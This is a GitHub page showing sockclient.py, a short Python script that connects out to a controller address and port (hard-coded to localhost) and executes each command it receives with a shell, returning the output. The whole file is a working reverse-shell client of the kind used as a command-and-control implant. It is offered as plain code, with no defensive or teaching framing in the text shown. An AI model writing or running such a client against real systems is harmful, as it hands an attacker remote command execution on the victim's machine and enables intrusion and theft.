-
Notifications
You must be signed in to change notification settings - Fork 0
/
sockclient.py
83 lines (75 loc) · 2.56 KB
/
sockclient.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import socket
import subprocess
import os
import sys
def inbound():
'''handles inbound traffic'''
print("[+] Awaiting response")
message = ""
while True:
try:
message = sock.recv(1024).decode()
return message
except Exception:
sock.close()
def outbound(message):
'''handles outbound traffic'''
response = str(message).encode()
sock.send(response)
def session_handler():
'''Handles sessions'''
print(f"[+] Connecting to {host_ip}")
sock.connect((host_ip, host_port))
print(f"[+] Connected to host {host_ip}")
while True:
try:
message = inbound()
print(f"[+] Message received - {message}")
# Exit message handling from client -> server
if message == "exit":
print("[-] The server has terminated the session.")
sock.close()
break
elif message.split(" ")[0] == 'cd':
try:
directory = str(message.split(" ")[1])
os.chdir(directory)
cur_dir = os.getcwd()
print(f"[+] Changed to {cur_dir}")
outbound(cur_dir)
except FileNotFoundError:
outbound("Invalid directory. Try again.")
continue
elif message == "background":
pass
else:
# Subprocess command handling
command = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = command.stdout.read() + command.stderr.read()
outbound(output.decode())
# print(message)
# response = input("Send response#> ")
# # Exit message handling from server -> client
# if response == "exit":
# sock.send(response.encode())
# sock.close()
# break
except KeyboardInterrupt:
print("[+] Keyboard interrupt issued.")
sock.close()
break
except Exception:
sock.close()
break
if __name__ == "__main__":
try:
# host_ip = sys.argv[1]
# host_port = int(sys.argv[2])
host_ip = "127.0.0.1"
host_port = 2223
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
session_handler()
except IndexError:
print("[-] Command line argument(s) missing. Please try again.")
except Exception as e:
print(e)